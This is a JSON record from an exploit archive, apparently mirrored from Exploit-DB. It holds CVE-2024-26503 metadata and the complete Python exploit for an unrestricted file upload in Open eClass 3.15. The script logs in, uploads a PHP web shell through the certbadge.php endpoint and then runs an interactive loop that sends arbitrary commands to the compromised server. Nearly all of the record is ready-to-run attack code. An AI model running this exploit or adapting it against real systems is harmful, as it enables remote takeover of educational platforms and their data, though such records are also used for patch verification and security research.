{"exploit":{"id":"EDB-52698","name":"Open eClass 3.15 - Remote Code Execution (RCE)","description":"Open eClass 3.15 - Remote Code Execution (RCE)","cves":["CVE-2024-26503"],"author":"Georgios Roumeliotis","published":"2026-10-21","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52698","path":"exploits/multiple/webapps/52698.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52698.py","vulnerabilities":[{"id":"CVE-2024-26503","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unrestricted File Upload vulnerability in Greek Universities Network Open eClass v.3.15 and earlier allows attackers to run arbitrary code via upload of crafted file to certbadge.php endpoint.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2024-26503","cvss":{"version":"3.1","baseScore":9.1,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2024-26503"},"updatedAt":"2024-08-28T15:03:36.914Z","retrievedAt":"2026-11-25T16:13:33.650Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52698.png?v=2","url":"https://exploitbin.com/exploits/EDB-52698","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52698/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52698/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title:  Open eClass 3.15 - RCE\n# Date: Mar 15, 2024\n# Exploit Author: Georgios Roumeliotis\n# Vendor Homepage: https://www.openeclass.org/\n# Software Link: https://download.openeclass.org/files/3.15/\n# Version: 3.15 (2024)\n# Tested on: Multiple Platforms\n# CVE : CVE-2024-26503\n# Github : https://github.com/RoboGR00t/Exploit-CVE-2024-26503\n# Disclosure: https://www.less-secure.com/2024/03/open-eclass-cve-2024-26503-unrestricted.html\n\n\nimport requests\nimport argparse\n\nRED = '\\033[91m'\nGREEN = '\\033[92m'\nYELLOW = '\\033[93m'\nRESET = '\\033[0m'\nORANGE = '\\033[38;5;208m'\n\ndef banner():\n    print(f'''{RED}\n\n  ___  _  _  ____     ____   __  ____   ___      ____   ___   ___   __  ____\n / __)/ )( \\\\(  __)___(___ \\\\ /  \\\\(___ \\\\ / _ \\\\ ___(___ \\\\ / __) / __) /  \\\\( __ \\\\\n( (__ \\\\ \\\\/ / ) _)(___)/ __/(  0 )/ __/(__  ((___)/ __/(  _ \\\\(___ \\\\(  0 )(__ (\n \\\\___) \\\\__/ (____)   (____) \\\\__/(____)  (__/    (____) \\\\___/(____/ \\\\__/(____/\n\n{YELLOW}\n ============================ Author: RoboGR00t ============================\n\n{RESET}  ''')\n\ndef execute_command(openeclass):\n    while True:\n        # Prompt for user input with \"eclass\"\n        cmd = input(f\"{RED}[{YELLOW}eClass{RED}]~# {RESET}\")\n\n        # Check if the command is 'quit', then break the loop\n        if cmd.lower() == \"quit\":\n            print(f\"{ORANGE}\\nExiting... removing '{RED}execute.php{ORANGE}'{RESET}\")\n            requests.get(f\"{openeclass}/courses/user_progress_data/badge_templates/execute.php?cmd=rm execute.php\")\n            break\n\n        # Construct the URL with the user-provided command\n        url = f\"{openeclass}/courses/user_progress_data/badge_templates/execute.php?cmd={cmd}\"\n\n        # Execute the GET request\n        try:\n            response = requests.get(url)\n            # Check if the request was successful\n            if response.status_code == 200:\n                # Print the response text\n                print(f\"{GREEN}{response.text}{RESET}\")\n        except requests.exceptions.RequestException as e:\n            # Print any error that occurs during the request\n            print(f\"{RED}An error occurred: {e}{RESET}\")\n\n\ndef upload_web_shell(openeclass, username, password):\n\n    login_url = f'{openeclass}/?login_page=1'\n\n    login_page_url = f'{openeclass}/main/login_form.php?next=%2Fmain%2Fportfolio.php'\n\n    # Login credentials\n    payload = {\n        'next': '/main/portfolio.php',\n        'uname': f'{username}',\n        'pass': f'{password}',\n        'submit': 'Enter'\n    }\n\n    headers = {\n        'Referer': login_page_url,\n    }\n\n    # Use a session to ensure cookies are handled correctly\n    with requests.Session() as session:\n        # (Optional) Initially visit the login page if needed to get a fresh session cookie or any other required tokens\n        session.get(login_page_url)\n\n        # Post the login credentials\n        response = session.post(login_url, headers=headers, data=payload)\n\n\n        url = f'{openeclass}/modules/admin/certbadge.php'\n        files = {\n            'icon': ('execute.php', '<?php echo  shell_exec($_GET[\\'cmd\\']) ;?>', 'text/plain'),\n            'name': (None, ''),\n            'description': (None, ''),\n            'submit_badge_icon': (None, '')\n        }\n        response = session.post(url, files=files)\n\n\ndef is_successfull(openeclass):\n\n    url = f\"{openeclass}/courses/user_progress_data/badge_templates/execute.php?cmd=whoami\"\n\n    # Execute the GET request\n    try:\n        response = requests.get(url)\n        # Check if the request was successful\n        if response.status_code == 200:\n            # Print the response text\n            return True\n        else:\n            print(\"EXPLOITATION FAILED\")\n            return False\n    except requests.exceptions.RequestException as e:\n        # Print any error that occurs during the request\n        print(f\"An error occurred: {e}\")\n\n\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"Open eClass – CVE-2024-26503: Unrestricted File Upload Leads to Remote Code Execution\")\n    parser.add_argument('-u', '--username', required=True, help=\"Username for login\")\n    parser.add_argument('-p', '--password', required=True, help=\"Password for login\")\n    parser.add_argument('-e', '--eclass', required=True, help=\"Base URL of the Open eClass\")\n\n    args = parser.parse_args()\n\n    banner()\n    # Running the main login and execute command function\n    upload_web_shell(args.eclass, args.username, args.password)\n    if is_successfull(args.eclass) == True :\n        execute_command(args.eclass)\n\n\nif __name__ == \"__main__\":\n    main()","sha256":"6cc529908744ed1314a02b733be149bc98e8d040781b42d5c62915e5de01e63e","bytes":4568,"fetchedAt":"2026-11-25T10:17:06.209Z","encoding":"utf-8 (display only; download retains original bytes)"}